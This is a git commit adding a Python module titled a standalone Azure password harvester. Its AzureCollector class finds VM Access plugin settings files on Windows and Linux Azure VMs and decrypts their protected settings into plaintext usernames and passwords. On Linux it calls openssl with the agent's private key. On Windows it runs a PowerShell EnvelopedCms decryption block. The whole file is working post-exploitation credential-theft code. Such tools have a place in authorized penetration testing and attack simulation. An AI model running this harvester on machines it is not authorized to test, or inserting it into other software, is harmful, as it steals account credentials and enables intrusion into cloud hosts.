Initial commit of standalone Azure password harvester

This commit is contained in:
Daniel Goldberg 2018-03-22 16:44:04 +02:00
parent 8f0251e822
commit cb39be6f58
1 changed files with 103 additions and 0 deletions

View File

@ -0,0 +1,103 @@
import sys
import logging
import os.path
import json
import glob
import subprocess
__author__ = 'danielg'
LOG = logging.getLogger(__name__)
class AzureCollector(object):
"""
Extract credentials possibly saved on Azure VM instances by the VM Access plugin
"""
def __init__(self):
if sys.platform.startswith("win"):
self.path = "C:\\Packages\\Plugins\\Microsoft.Compute.VmAccessAgent\\2.4.2\\RuntimeSettings"
self.extractor = AzureCollector.get_pass_windows
else:
self.path = "/var/lib/waagent/Microsoft.OSTCExtensions.VMAccessForLinux-1.4.7.1/config"
self.extractor = AzureCollector.get_pass_linux
self.file_list = glob.iglob(os.path.join(self.path, "*.settings"))
def extract_stored_credentials(self):
"""
Returns a list of username/password pairs saved under configuration files
:return: List of (user/pass), possibly empty
"""
results = [self.extractor(filepath) for filepath in self.file_list]
LOG.info("Found %d Azure VM access configuration file", len(results))
return results
@staticmethod
def get_pass_linux(filepath):
"""
Extract passwords from Linux azure VM Access files
:return: Username, password
"""
linux_cert_store = "/var/lib/waagent/"
try:
json_data = json.load(open(filepath, 'r'))
# this is liable to change but seems to be stable over the last year
protected_data = json_data['runtimeSettings'][0]['handlerSettings']['protectedSettings']
cert_thumbprint = json_data['runtimeSettings'][0]['handlerSettings']['protectedSettingsCertThumbprint']
base64_command = """openssl base64 -d -a"""
priv_path = os.path.join(linux_cert_store, "%s.prv" % cert_thumbprint)
b64_proc = subprocess.Popen(base64_command.split(), stdin=subprocess.PIPE, stdout=subprocess.PIPE)
b64_result = b64_proc.communicate(input=protected_data + "\n")[0]
decrypt_command = 'openssl smime -inform DER -decrypt -inkey %s' % priv_path
decrypt_proc = subprocess.Popen(decrypt_command.split(), stdout=subprocess.PIPE, stdin=subprocess.PIPE)
decrypt_raw = decrypt_proc.communicate(input=b64_result)[0]
decrypt_data = json.loads(decrypt_raw)
return decrypt_data['username'], decrypt_data['password']
except IOError:
LOG.warning("Failed to parse VM Access plugin file. Could not open file")
return None
except (KeyError, ValueError):
LOG.warning("Failed to parse VM Access plugin file. Invalid format")
return None
except subprocess.CalledProcessError:
LOG.warning("Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data")
return None
@staticmethod
def get_pass_windows(filepath):
"""
Extract passwords from Windows azure VM Access files
:return: Username,password
"""
try:
json_data = json.load(open(filepath, 'r'))
# this is liable to change but seems to be stable over the last year
protected_data = json_data['runtimeSettings'][0]['handlerSettings']['protectedSettings']
username = json_data['runtimeSettings'][0]['handlerSettings']['publicSettings']['UserName']
# we're going to do as much of this in PS as we can.
ps_block = ";\n".join([
'[System.Reflection.Assembly]::LoadWithPartialName("System.Security") | Out-Null',
'$base64 = "%s"' % protected_data,
"$content = [Convert]::FromBase64String($base64)",
"$env = New-Object Security.Cryptography.Pkcs.EnvelopedCms",
"$env.Decode($content)",
"$env.Decrypt()",
"$utf8content = [text.encoding]::UTF8.getstring($env.ContentInfo.Content)",
"Write-Host $utf8content" # we want to simplify parsing
])
ps_proc = subprocess.Popen(["powershell.exe", "-NoLogo"], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
ps_out = ps_proc.communicate(ps_block)[0]
# this is disgusting but the alternative is writing the file to disk...
password_raw = ps_out.split('\n')[-2].split(">")[1].split("$utf8content")[1]
password = json.loads(password_raw)["Password"]
return username, password
except IOError:
LOG.warning("Failed to parse VM Access plugin file. Could not open file")
return None
except (KeyError, ValueError):
LOG.warning("Failed to parse VM Access plugin file. Invalid format")
return None
except subprocess.CalledProcessError:
LOG.warning("Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data")
return None